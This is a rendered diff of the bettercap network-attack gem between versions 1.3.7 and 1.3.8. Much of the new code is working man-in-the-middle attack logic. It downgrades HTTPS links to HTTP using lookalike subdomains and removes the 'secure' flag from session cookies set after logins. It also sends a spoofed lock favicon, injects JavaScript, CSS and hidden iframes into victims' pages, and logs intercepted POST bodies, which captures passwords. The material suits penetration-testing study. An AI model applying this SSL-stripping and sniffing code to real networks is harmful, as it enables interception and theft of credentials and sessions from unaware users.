bettercap 1.3.7 → 1.3.8

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 48a0d8e69cf95056c2e4d9e12b36a55b074da94b
4
- data.tar.gz: 849f6961e569a94299e0cf6f69ac825a8d4df2fa
3
+ metadata.gz: 97b1b49dc607820e776704bce9ca73d9bcb55b0b
4
+ data.tar.gz: 194f31c34fecf4695f9b7a5728cebcab3a1bc0f2
5
5
  SHA512:
6
- metadata.gz: d040cd73c42769b985ec53ea197bcb6d580567fe87654ad40b3593d7761818c34bf2e42582f58686fe466ccdd6154742c6966f454e688b1e6a5db1e11b2d4a99
7
- data.tar.gz: ce9367914282abe8c0b48a5bec0216c4dc7481ab4eab249be69eea2c7069473a1a1ab6da4b73b8eb39b95f95905e1ddacf2b4bdf38c8feef899724685b4d6dc1
6
+ metadata.gz: f2eff4d44d1e1db62e406de421c458c97e9a8cba55d554ad2465d7cb019b488f8e961f8e5a304865c8e9a390df343cddb32d87585a99979d1279d4a832cc1498
7
+ data.tar.gz: 24249e328e6ffb0a082d7058d0aacdaa6c75fdec75e820274d266f0f41a6686c781b4a91141fa52aa2bf9b6a1caf935ec6b5880ec42b6f4f7c95dd2087d078d5
data/lib/bettercap.rb CHANGED
@@ -27,7 +27,7 @@ require 'uri'
27
27
  Object.send :remove_const, :Config rescue nil
28
28
  Config = RbConfig
29
29
 
30
- def autoload( path = '' )
30
+ def bettercap_autoload( path = '' )
31
31
  dir = File.dirname(__FILE__) + "/bettercap/#{path}"
32
32
  deps = []
33
33
  files = []
@@ -47,7 +47,6 @@ def autoload( path = '' )
47
47
  ( deps + files ).each do |file|
48
48
  require file
49
49
  end
50
-
51
50
  end
52
51
 
53
- autoload
52
+ bettercap_autoload
@@ -60,7 +60,7 @@ class Context
60
60
  iface = PCAPRUB::Pcap.lookupdev
61
61
  rescue Exception => e
62
62
  iface = nil
63
- Logger.debug e.message
63
+ Logger.exception e
64
64
  end
65
65
 
66
66
  @running = true
@@ -156,6 +156,10 @@ class Context
156
156
  end
157
157
  end
158
158
 
159
+ def post_sniffer_enabled?
160
+ ( @options.sniffer and @options.parsers.include?('POST') )
161
+ end
162
+
159
163
  # Stop every running daemon that was started and reset system state.
160
164
  def finalize
161
165
  @running = false
@@ -196,7 +200,7 @@ class Context
196
200
 
197
201
  # Apply needed BetterCap::Firewalls::Redirection objects.
198
202
  def enable_port_redirection!
199
- @redirections = @options.to_redirections @ifconfig
203
+ @redirections = @options.get_redirections(@ifconfig)
200
204
  @redirections.each do |r|
201
205
  Logger.debug "Redirecting #{r.protocol} traffic from port #{r.src_port} to #{r.dst_address}:#{r.dst_port}"
202
206
  @firewall.add_port_redirection( r )
@@ -231,6 +235,8 @@ class Context
231
235
  end
232
236
  rescue Exception => e
233
237
  Logger.warn "Error with proxy module: #{e.message}"
238
+ Logger.exception e
239
+
234
240
  response = original
235
241
  end
236
242
  end
@@ -37,6 +37,20 @@ module Logger
37
37
  @@ctx = Context.get
38
38
  end
39
39
 
40
+ # Log the exception +e+, if this is a beta version, log it as a warning,
41
+ # otherwise as a debug message.
42
+ def exception(e)
43
+ msg = "Exception : #{e.class}\n" +
44
+ "Message : #{e.message}\n" +
45
+ "Backtrace :\n\n #{e.backtrace.join("\n ")}\n"
46
+
47
+ if BetterCap::VERSION.end_with?('b')
48
+ self.warn(msg)
49
+ else
50
+ self.debug(msg)
51
+ end
52
+ end
53
+
40
54
  # Log an error +message+.
41
55
  def error(message)
42
56
  @@queue.push formatted_message(message, 'E').red
@@ -0,0 +1,49 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : http://www.evilsocket.net/
9
+
10
+ SNMP network protos:
11
+ Author : Matteo Cantoni
12
+ Email : matteo.cantoni@nothink.org
13
+
14
+ This project is released under the GPL 3 license.
15
+
16
+ Todo:
17
+ - add SNMPv1 PDU structure
18
+ - add SNMPv2 support
19
+
20
+ =end
21
+
22
+ module BetterCap
23
+ module Network
24
+ module Protos
25
+ module SNMP
26
+
27
+ # https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol
28
+ # http://docwiki.cisco.com/wiki/Simple_Network_Management_Protocol
29
+ class Packet < Network::Protos::Base
30
+
31
+ #0000 30 29 02 01 00 04 06 70 75 62 6c 69 63 a1 1c 02
32
+ #0010 04 36 eb 8d d1 02 01 00 02 01 00 30 0e 30 0c 06
33
+ #0020 08 2b 06 01 02 01 01 01 00 05 00
34
+
35
+ uint16 :snmp_asn_decode # 30 29
36
+
37
+ uint8 :snmp_version_type # 02
38
+ uint8 :snmp_version_length # 01
39
+ uint8 :snmp_version_number # 00
40
+
41
+ uint8 :snmp_community_type # 04
42
+ uint8 :snmp_community_length # 06
43
+ bytes :snmp_community_string, :size => :snmp_community_length # 70 75 62 6c 69 63
44
+ end
45
+
46
+ end
47
+ end
48
+ end
49
+ end
@@ -184,7 +184,7 @@ class Options
184
184
  end
185
185
 
186
186
  opts.on( '--ignore ADDRESS1,ADDRESS2', 'Ignore these addresses if found while searching for targets.' ) do |v|
187
- ctx.options.ignore = v
187
+ ctx.options.parse_ignore!(v)
188
188
  end
189
189
 
190
190
  opts.on( '-O', '--log LOG_FILE', 'Log all messages into a file, if not specified the log messages will be only print into the shell.' ) do |v|
@@ -269,11 +269,11 @@ class Options
269
269
  end
270
270
 
271
271
  opts.on( '--http-ports PORT1,PORT2', 'Comma separated list of HTTP ports to redirect to the proxy, default to ' + ctx.options.http_ports.join(', ') + ' .' ) do |v|
272
- ctx.options.http_ports = v
272
+ ctx.options.http_ports = ctx.options.parse_ports( v )
273
273
  end
274
274
 
275
275
  opts.on( '--https-ports PORT1,PORT2', 'Comma separated list of HTTPS ports to redirect to the proxy, default to ' + ctx.options.https_ports.join(', ') + ' .' ) do |v|
276
- ctx.options.https_ports = v
276
+ ctx.options.https_ports = ctx.options.parse_ports( v )
277
277
  end
278
278
 
279
279
  opts.on( '--proxy-https-port PORT', 'Set HTTPS proxy port, default to ' + ctx.options.proxy_https_port.to_s + ' .' ) do |v|
@@ -293,7 +293,7 @@ class Options
293
293
  end
294
294
 
295
295
  opts.on( '--custom-proxy ADDRESS', 'Use a custom HTTP upstream proxy instead of the builtin one.' ) do |v|
296
- ctx.options.custom_proxy = v
296
+ ctx.options.parse_custom_proxy!(v)
297
297
  end
298
298
 
299
299
  opts.on( '--custom-proxy-port PORT', 'Specify a port for the custom HTTP upstream proxy, default to ' + ctx.options.custom_proxy_port.to_s + ' .' ) do |v|
@@ -305,7 +305,7 @@ class Options
305
305
  end
306
306
 
307
307
  opts.on( '--custom-https-proxy ADDRESS', 'Use a custom HTTPS upstream proxy instead of the builtin one.' ) do |v|
308
- ctx.options.custom_https_proxy = v
308
+ ctx.options.parse_custom_proxy!( v, true )
309
309
  end
310
310
 
311
311
  opts.on( '--custom-https-proxy-port PORT', 'Specify a port for the custom HTTPS upstream proxy, default to ' + ctx.options.custom_https_proxy_port.to_s + ' .' ) do |v|
@@ -374,7 +374,7 @@ class Options
374
374
  end
375
375
 
376
376
  unless ctx.options.target.nil?
377
- ctx.targets = ctx.options.to_targets
377
+ ctx.targets = ctx.options.parse_targets
378
378
  end
379
379
 
380
380
  # Load firewall instance, network interface informations and detect the
@@ -382,7 +382,7 @@ class Options
382
382
  ctx.update!
383
383
 
384
384
  # Spoofers need the context network data to be initialized.
385
- ctx.spoofer = ctx.options.to_spoofers
385
+ ctx.spoofer = ctx.options.parse_spoofers
386
386
 
387
387
  ctx
388
388
  end
@@ -412,9 +412,11 @@ class Options
412
412
  !@ignore.nil? and @ignore.include?(ip)
413
413
  end
414
414
 
415
+ # Parsing Routines
416
+
415
417
  # Setter for the #ignore attribute, will raise a BetterCap::Error if one
416
418
  # or more invalid IP addresses are specified.
417
- def ignore=(value)
419
+ def parse_ignore!(value)
418
420
  @ignore = value.split(",")
419
421
  valid = @ignore.select { |target| Network.is_ip?(target) }
420
422
 
@@ -430,23 +432,20 @@ class Options
430
432
  Logger.warn "Ignoring #{valid.join(", ")} ."
431
433
  end
432
434
 
433
- # Setter for the #custom_proxy attribute, will raise a BetterCap::Error if
434
- # +value+ is not a valid IP address.
435
- def custom_proxy=(value)
436
- @custom_proxy = value
437
- raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip? @custom_proxy
438
- end
439
-
440
- # Setter for the #custom_https_proxy attribute, will raise a BetterCap::Error if
441
- # +value+ is not a valid IP address.
442
- def custom_https_proxy=(value)
443
- @custom_https_proxy = value
444
- raise BetterCap::Error, 'Invalid custom HTTPS upstream proxy address specified.' unless Network.is_ip? @custom_https_proxy
435
+ # Setter for the #custom_proxy or #custom_https_proxy attribute, will raise a
436
+ # BetterCap::Error if +value+ is not a valid IP address.
437
+ def parse_custom_proxy!(value, https=false)
438
+ raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip?(value)
439
+ if https
440
+ @custom_proxy = value
441
+ else
442
+ @custom_https_proxy = value
443
+ end
445
444
  end
446
445
 
447
446
  # Parse a comma separated list of ports and return an array containing only
448
447
  # valid ports, raise BetterCap::Error if that array is empty.
449
- def to_ports(value)
448
+ def parse_ports(value)
450
449
  ports = []
451
450
  value.split(",").each do |v|
452
451
  v = v.strip.to_i
@@ -458,21 +457,9 @@ class Options
458
457
  ports
459
458
  end
460
459
 
461
- # Setter for the #http_ports attribute, will raise a BetterCap::Error if +value+
462
- # is not a valid comma separated list of ports.
463
- def http_ports=(value)
464
- @http_ports = to_ports(value)
465
- end
466
-
467
- # Setter for the #https_ports attribute, will raise a BetterCap::Error if +value+
468
- # is not a valid comma separated list of ports.
469
- def https_ports=(value)
470
- @https_ports = to_ports(value)
471
- end
472
-
473
460
  # Split specified targets and parse them ( either as IP or MAC ), will raise a
474
461
  # BetterCap::Error if one or more invalid addresses are specified.
475
- def to_targets
462
+ def parse_targets
476
463
  targets = @target.split(",")
477
464
  valid_targets = targets.select { |target| Network.is_ip?(target) or Network.is_mac?(target) }
478
465
 
@@ -488,7 +475,7 @@ class Options
488
475
 
489
476
  # Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a
490
477
  # BetterCap::Error if an invalid spoofer name was specified.
491
- def to_spoofers
478
+ def parse_spoofers
492
479
  spoofers = []
493
480
  spoofer_modules_names = @spoofer.split(",")
494
481
  spoofer_modules_names.each do |module_name|
@@ -504,7 +491,7 @@ class Options
504
491
 
505
492
  # Create a list of BetterCap::Firewalls::Redirection objects which are needed
506
493
  # given the specified command line arguments.
507
- def to_redirections ifconfig
494
+ def get_redirections ifconfig
508
495
  redirections = []
509
496
 
510
497
  if @dnsd
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
59
+ BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{if @@cssdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
60
60
  # inject URL
61
61
  if @@cssdata.nil?
62
62
  response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
@@ -44,7 +44,7 @@ class InjectHTML < BetterCap::Proxy::Module
44
44
  def on_request( request, response )
45
45
  # is it a html page?
46
46
  if response.content_type =~ /^text\/html.*/
47
- BetterCap::Logger.info "Injecting HTML code into http://#{request.host}#{request.url}"
47
+ BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into http://#{request.host}#{request.url}"
48
48
 
49
49
  if @@data.nil?
50
50
  response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
56
56
  def on_request( request, response )
57
57
  # is it a html page?
58
58
  if response.content_type =~ /^text\/html.*/
59
- BetterCap::Logger.info "Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
59
+ BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{if @@jsdata.nil? then "URL" else "file" end} into http://#{request.host}#{request.url}"
60
60
  # inject URL
61
61
  if @@jsdata.nil?
62
62
  response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
@@ -121,8 +121,11 @@ class Proxy
121
121
 
122
122
  request.read(client)
123
123
 
124
+ # stripped request
125
+ if @streamer.was_stripped?( request, client )
126
+ @streamer.handle( request, client )
124
127
  # someone is having fun with us =)
125
- if is_self_request? request
128
+ elsif is_self_request? request
126
129
  @streamer.rickroll( client, @is_https )
127
130
  # handle request
128
131
  else
@@ -131,11 +134,14 @@ class Proxy
131
134
 
132
135
  Logger.debug "#{@type} client served."
133
136
 
137
+ rescue SocketError => se
138
+ Logger.debug "Socket error while serving client: #{e.message}"
139
+ Logger.exception e
140
+ rescue Errno::EPIPE => ep
141
+ Logger.debug "Connection closed while serving client."
134
142
  rescue Exception => e
135
- if request.host
136
- Logger.warn "Error while serving #{request.host}#{request.url}: #{e.message}"
137
- Logger.debug e.backtrace.join("\n")
138
- end
143
+ Logger.warn "Error while serving client: #{e.message}"
144
+ Logger.exception e
139
145
  end
140
146
 
141
147
  client.close
@@ -143,11 +143,18 @@ class Request
143
143
  @lines.join("\n") + "\n" + ( @body || '' )
144
144
  end
145
145
 
146
+ def base_url
147
+ schema = if port == 443 then 'https' else 'http' end
148
+ "#{schema}://#{@host}/"
149
+ end
150
+
146
151
  # Return the full request URL trimming it at +max_length+ characters.
147
152
  def to_url(max_length = 50)
148
153
  schema = if port == 443 then 'https' else 'http' end
149
154
  url = "#{schema}://#{@host}#{@url}"
150
- url = url.slice(0..max_length) + '...' unless url.length <= max_length
155
+ unless max_length.nil?
156
+ url = url.slice(0..max_length) + '...' unless url.length <= max_length
157
+ end
151
158
  url
152
159
  end
153
160
 
@@ -174,10 +181,16 @@ class Request
174
181
  end
175
182
  end
176
183
 
184
+ if name == 'Host'
185
+ @host = value
186
+ end
187
+
177
188
  if !found and !value.nil?
178
189
  @headers[name] = value
179
190
  @lines << "#{name}: #{value}"
180
191
  end
192
+
193
+ @lines.reject!(&:empty?)
181
194
  end
182
195
  end
183
196
  end
@@ -24,7 +24,7 @@ class Response
24
24
  # True if this is a chunked encoded response, otherwise false.
25
25
  attr_reader :chunked
26
26
  # A list of response headers.
27
- attr_reader :headers
27
+ attr_accessor :headers
28
28
  # Response status code.
29
29
  attr_accessor :code
30
30
  # True if the parser finished to parse the headers, otherwise false.
@@ -81,7 +81,15 @@ class Response
81
81
  def convert_webrick_response!(response)
82
82
  self << "HTTP/#{response.http_version} #{response.code} #{response.msg}"
83
83
  response.each do |key,value|
84
- self << "#{key.gsub(/\bwww|^te$|\b\w/){ $&.upcase }}: #{value}"
84
+ # sometimes webrick joins all 'set-cookie' headers
85
+ # which might cause issues with HSTS bypass.
86
+ if key == 'set-cookie'
87
+ response.get_fields('set-cookie').each do |v|
88
+ self << "Set-Cookie: #{v}"
89
+ end
90
+ else
91
+ self << "#{key.gsub(/\bwww|^te$|\b\w/){ $&.upcase }}: #{value}"
92
+ end
85
93
  end
86
94
  self << "\n"
87
95
  @code = response.code
@@ -158,6 +166,14 @@ class Response
158
166
  end
159
167
  end
160
168
 
169
+ def each_header(name)
170
+ @headers.each_with_index do |header,i|
171
+ if header =~ /^#{name}:\s*(.+)$/i
172
+ yield( $1, i )
173
+ end
174
+ end
175
+ end
176
+
161
177
  # Return a string representation of this response object, patching the
162
178
  # Content-Length header if the #body was modified.
163
179
  def to_s
@@ -22,6 +22,10 @@ class CookieMonitor
22
22
  @set = []
23
23
  end
24
24
 
25
+ def add!(request)
26
+ @set << [request.client, get_domain(request)]
27
+ end
28
+
25
29
  # Return true if the +request+ was already cleaned.
26
30
  def is_clean?(request)
27
31
  if request.post?
@@ -15,6 +15,73 @@ module BetterCap
15
15
  module Proxy
16
16
  module SSLStrip
17
17
 
18
+ # Represent a stripped url associated to the client that requested it.
19
+ class StrippedObject
20
+ # The stripped request client address.
21
+ attr_accessor :client
22
+ # The original URL.
23
+ attr_accessor :original
24
+ # The stripped version of the URL.
25
+ attr_accessor :stripped
26
+
27
+ # Known subdomains to replace.
28
+ SUBDOMAIN_REPLACES = {
29
+ 'www' => 'wwwww',
30
+ 'webmail' => 'wwebmail',
31
+ 'mail' => 'wmail'
32
+ }.freeze
33
+
34
+ # Create an instance with the given arguments.
35
+ def initialize( client, original, stripped )
36
+ @client = client
37
+ @original = original
38
+ @stripped = stripped
39
+ end
40
+
41
+ # Return a normalized version of +url+.
42
+ def self.normalize( url, schema = 'https' )
43
+ # add schema if needed
44
+ unless url.include?('://')
45
+ url = "#{schema}://#{url}"
46
+ end
47
+ # add path if needed
48
+ unless url.end_with?('/')
49
+ url = "#{url}/"
50
+ end
51
+ url
52
+ end
53
+
54
+ # Downgrade +url+ from HTTPS to HTTP.
55
+ # Will take care of HSTS bypass urls in a near future.
56
+ def self.strip( url )
57
+ # first thing first, downgrade the protocol schema
58
+ stripped = url.gsub( 'https://', 'http://' )
59
+ # search for a known subdomain and replace it
60
+ found = false
61
+ SUBDOMAIN_REPLACES.each do |from,to|
62
+ if stripped.include?( "://#{from}." )
63
+ stripped = stripped.gsub( "://#{from}.", "://#{to}." )
64
+ found = true
65
+ break
66
+ end
67
+ end
68
+ # fallback, prepend custom 'wwwww.'
69
+ unless found
70
+ stripped.gsub!( '://', '://wwwww.' )
71
+ end
72
+
73
+ Logger.debug "[#{'SSLSTRIP'.green} '#{url}' -> '#{stripped}'"
74
+
75
+ stripped
76
+ end
77
+
78
+ def self.process( url )
79
+ normalized = self.normalize(url)
80
+ stripped = self.strip(normalized)
81
+ [ normalized, stripped ]
82
+ end
83
+ end
84
+
18
85
  # Handle SSL stripping.
19
86
  class Strip
20
87
  # Maximum number of redirects to detect a HTTPS redirect loop.
@@ -24,9 +91,29 @@ class Strip
24
91
 
25
92
  # Create an instance of this object.
26
93
  def initialize
27
- @urls = URLMonitor.new
28
- @cookies = CookieMonitor.new
29
- @favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
94
+ @stripped = []
95
+ @cookies = CookieMonitor.new
96
+ @favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
97
+ end
98
+
99
+ # Return true if the +request+ was stripped.
100
+ def was_stripped?(request)
101
+ url = request.base_url
102
+ @stripped.each do |s|
103
+ if s.client == request.client and s.stripped == url
104
+ return true
105
+ end
106
+ end
107
+ false
108
+ end
109
+
110
+ def unstrip( request, url )
111
+ @stripped.each do |s|
112
+ if s.client == request.client and s.stripped == url
113
+ return s.original
114
+ end
115
+ end
116
+ url
30
117
  end
31
118
 
32
119
  # Check if the +request+ is a result of a stripped link/redirect and handle
@@ -86,18 +173,30 @@ class Strip
86
173
  # If the +request+ is a result of a sslstripping operation,
87
174
  # proxy it via SSL.
88
175
  def process_stripped!(request)
89
- # check for stripped urls.
90
- link = @urls.normalize( request.host )
91
- if request.port == 80 and @urls.was_stripped?( request.client, link )
92
- Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{link}', proxying via SSL."
176
+ if request.port == 80 and was_stripped?(request)
177
+ # i.e: wwww.facebook.com
178
+ stripped = request['Host']
179
+ # i.e: http://wwww.facebook.com/
180
+ url = StrippedObject.normalize( stripped, 'http' )
181
+ # i.e: www.facebook.com
182
+ unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub('/', '' )
183
+
184
+ # loop each header and fix the stripped url if needed,
185
+ # this will fix headers such as Host, Referer, Origin, etc.
186
+ request.headers.each do |name,value|
187
+ if value.include?(stripped)
188
+ request[name] = value.gsub( stripped, unstripped ).gsub( 'http://', 'https://')
189
+ end
190
+ end
93
191
  request.port = 443
192
+
193
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{url}', proxying via SSL ( #{request.to_url} )."
94
194
  end
95
195
  end
96
196
 
97
197
  # If +request+ is the favicon of a stripped host, send our spoofed lock icon.
98
198
  def spoof_favicon!(request)
99
- link = @urls.normalize( request.host )
100
- if @urls.was_stripped?( request.client, link ) and is_favicon?(request)
199
+ if was_stripped?(request) and is_favicon?(request)
101
200
  Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending spoofed favicon '#{request.to_url }'."
102
201
  return @favicon
103
202
  end
@@ -114,17 +213,34 @@ class Strip
114
213
  def process_redirection!(request,response)
115
214
  # check for a redirect
116
215
  if response['Location'].start_with?('https://')
117
- link = @urls.normalize( response['Location'] )
118
- Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{link}'."
119
- @urls.add!( request.client, link )
216
+ original, stripped = StrippedObject.process( response['Location'] )
217
+
218
+ @stripped << StrippedObject.new( request.client, original, stripped )
120
219
 
121
- # The request will be retried on port 443 if MAX_REDIRECTS is not reached.
122
- request.port = 443
123
220
  # If MAX_REDIRECTS is reached, the 'Location' header will be used.
124
- response['Location'] = @urls.downgrade( response['Location'] )
221
+ response['Location'] = stripped
125
222
 
126
- # retry the request if possible
127
- return true
223
+ # no cookies set, just a normal http -> https redirect
224
+ if response['Set-Cookie'].empty?
225
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{original}' -> '#{stripped}'."
226
+
227
+ # The request will be retried on port 443 if MAX_REDIRECTS is not reached.
228
+ request.port = 443
229
+ # retry the request if possible
230
+ return true
231
+ # cookies set, this is probably a redirect after a login.
232
+ else
233
+ Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS ( with cookies ) '#{original}' -> '#{stripped}'."
234
+ # we know this session, do not kill it!
235
+ @cookies.add!( request )
236
+ # remove the 'secure' descriptor from every cookie
237
+ response.each_header('Set-Cookie') do |value,i|
238
+ response.headers[i] = "Set-Cookie: #{value.gsub( /secure/, '' )}"
239
+ end
240
+
241
+ # do not retry request
242
+ return false
243
+ end
128
244
  end
129
245
  false
130
246
  end
@@ -136,22 +252,19 @@ class Strip
136
252
  begin
137
253
  response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
138
254
  if link[0].include?('.')
139
- link = @urls.normalize( link[0] )
140
- downgraded = @urls.downgrade( link )
141
-
142
- links << [link, downgraded]
255
+ links << StrippedObject.process( link[0] )
143
256
  end
144
257
  end
145
258
  # handle errors due to binary content
146
259
  rescue; end
147
260
 
148
261
  unless links.empty?
149
- Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
262
+ Logger.debug "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{if links.size > 1 then 's' else '' end} inside '#{request.to_url}'."
150
263
 
151
264
  links.each do |l|
152
- link, downgraded = l
153
- @urls.add!( request.client, link )
154
- response.body.gsub!( link, downgraded )
265
+ original, stripped = l
266
+ @stripped << StrippedObject.new( request.client, original, stripped )
267
+ response.body.gsub!( original, stripped )
155
268
  end
156
269
  end
157
270
  end
@@ -10,7 +10,9 @@ Blog : http://www.evilsocket.net/
10
10
  This project is released under the GPL 3 license.
11
11
 
12
12
  =end
13
- require 'bettercap/logger'
13
+ require 'zlib'
14
+ require 'stringio'
15
+ require 'json'
14
16
 
15
17
  module BetterCap
16
18
  # Raw or http streams pretty logging.
@@ -30,18 +32,16 @@ class StreamLogger
30
32
  # its compact string representation ( @see BetterCap::Target#to_s_compact ).
31
33
  def self.addr2s( addr, alt = nil )
32
34
  ctx = Context.get
33
-
35
+ # check for the local address
34
36
  return 'local' if addr == ctx.ifconfig[:ip_saddr]
35
-
37
+ # is it a known target?
36
38
  target = ctx.find_target addr, nil
37
39
  return target.to_s_compact unless target.nil?
38
-
39
- if addr == '0.0.0.0' and !alt.nil?
40
- return alt
41
- elsif addr == '255.255.255.255'
42
- return '*'
43
- end
44
-
40
+ # fix 0.0.0.0 if alt argument was specified
41
+ return alt if addr == '0.0.0.0' and !alt.nil?
42
+ # fix broadcast -> *
43
+ return '*' if addr == '255.255.255.255'
44
+ # nothing found, return the address as it is
45
45
  addr
46
46
  end
47
47
 
@@ -74,21 +74,82 @@ class StreamLogger
74
74
  to = self.addr2s( pkt.ip_daddr, pkt.eth2s(:dst) )
75
75
 
76
76
  if pkt.respond_to?('tcp_dst')
77
- to += ':' + self.service( :tcp, pkt.tcp_dst ).to_s
77
+ to += ':' + self.service( :tcp, pkt.tcp_dst ).to_s.light_blue
78
78
  elsif pkt.respond_to?('udp_dst')
79
- to += ':' + self.service( :udp, pkt.udp_dst ).to_s
79
+ to += ':' + self.service( :udp, pkt.udp_dst ).to_s.light_blue
80
80
  end
81
81
 
82
82
  Logger.raw( "[#{from} > #{to}] [#{label.green}]#{nl}#{payload.strip}" )
83
83
  end
84
84
 
85
+ def self.dump_form( request )
86
+ msg = ''
87
+ request.body.split('&').each do |v|
88
+ name, value = v.split('=')
89
+ name ||= ''
90
+ value ||= ''
91
+ msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
92
+ end
93
+ msg
94
+ end
95
+
96
+ def self.dump_raw( data )
97
+ msg = ''
98
+ data.each_byte do |b|
99
+ msg << ( b.chr =~ /[[:print:]]/ ? b.chr : '.' ).yellow
100
+ end
101
+ msg
102
+ end
103
+
104
+ def self.dump_gzip( request )
105
+ msg = ''
106
+ uncompressed = Zlib::GzipReader.new(StringIO.new(request.body)).read
107
+ self.dump_raw( uncompressed )
108
+ end
109
+
110
+ def self.dump_json( request )
111
+ obj = JSON.parse( request.body )
112
+ json = JSON.pretty_unparse(obj)
113
+ json.scan( /("[^"]+"):/ ).map { |x| json.gsub!( x[0], x[0].blue )}
114
+ json
115
+ end
116
+
117
+ # If +request+ is a complete POST request, this method will log every header
118
+ # and post field with its value.
119
+ def self.log_post( request )
120
+ # the packet could be incomplete
121
+ if request.post? and !request.body.nil? and !request.body.empty?
122
+ msg = "\n[#{'HEADERS'.green}]\n\n"
123
+ request.headers.each do |name,value|
124
+ msg << " #{name.blue} : #{value.yellow}\n"
125
+ end
126
+ msg << "\n[#{'BODY'.green}]\n\n"
127
+
128
+ case request['Content-Type']
129
+ when 'application/x-www-form-urlencoded'
130
+ msg << self.dump_form( request )
131
+
132
+ when 'gzip'
133
+ msg << self.dump_gzip( request )
134
+
135
+ when 'application/json'
136
+ msg << self.dump_json( request )
137
+
138
+ else
139
+ msg << self.dump_raw( request.body )
140
+ end
141
+
142
+ Logger.raw "#{msg}\n"
143
+ end
144
+ end
145
+
85
146
  # Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
86
147
  # with the +request+ and +response+ most important informations.
87
148
  def self.log_http( request, response )
88
149
  is_https = request.port == 443
89
150
  request_s = "#{is_https ? 'https' : 'http'}://#{request.host}#{request.url}"
90
151
  response_s = "( #{response.content_type} )"
91
- request_s = request_s.slice(0..@@MAX_REQ_SIZE) + '...' unless request_s.length <= @@MAX_REQ_SIZE
152
+ request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
92
153
  code = response.code[0]
93
154
 
94
155
  if @@CODE_COLORS.has_key? code
@@ -98,6 +159,10 @@ class StreamLogger
98
159
  end
99
160
 
100
161
  Logger.raw "[#{self.addr2s(request.client)}] #{request.verb.light_blue} #{request_s} #{response_s}"
162
+ # Log post body if the POST sniffer is enabled.
163
+ if Context.get.post_sniffer_enabled?
164
+ self.log_post( request )
165
+ end
101
166
  end
102
167
  end
103
168
  end
@@ -23,6 +23,15 @@ class Streamer
23
23
  @sslstrip = SSLStrip::Strip.new
24
24
  end
25
25
 
26
+ # Return true if the +request+ was stripped.
27
+ def was_stripped?(request, client)
28
+ if @ctx.options.sslstrip
29
+ request.client, request.client_port = get_client_details( !( request.port == 443 ), client )
30
+ return @sslstrip.was_stripped?(request)
31
+ end
32
+ false
33
+ end
34
+
26
35
  # Redirect the +client+ to a funny video.
27
36
  def rickroll( client, is_https )
28
37
  client_ip, client_port = get_client_details( is_https, client )
@@ -79,8 +88,7 @@ class Streamer
79
88
  client.write response.to_s
80
89
  rescue NoMethodError => e
81
90
  Logger.warn "Could not handle #{request.verb} request from #{request.client}:#{request.client_port} ..."
82
- Logger.debug e.inspect
83
- Logger.debug e.backtrace.join("\n")
91
+ Logger.exception e
84
92
  end
85
93
  end
86
94
 
@@ -22,23 +22,8 @@ class Post < Base
22
22
  req = BetterCap::Proxy::Request.parse(pkt.payload)
23
23
  # the packet could be incomplete
24
24
  unless req.body.nil? or req.body.empty?
25
- msg = "\n[#{'HEADERS'.green}]\n\n"
26
- req.headers.each do |name,value|
27
- msg << " #{name.blue} : #{value.yellow}\n"
28
- end
29
- msg << "\n[#{'BODY'.green}]\n\n"
30
-
31
- req.body.split('&').each do |v|
32
- name, value = v.split('=')
33
- if name.nil? or value.nil?
34
- msg << " #{URI.unescape(v).yellow}\n"
35
- else
36
- msg << " #{name.blue} : #{URI.unescape(value).yellow}\n"
37
- end
38
- end
39
-
40
25
  StreamLogger.log_raw( pkt, "POST", req.to_url(1000) )
41
- Logger.raw "#{msg}\n"
26
+ StreamLogger.log_post( req )
42
27
  end
43
28
  rescue; end
44
29
  end
@@ -0,0 +1,44 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
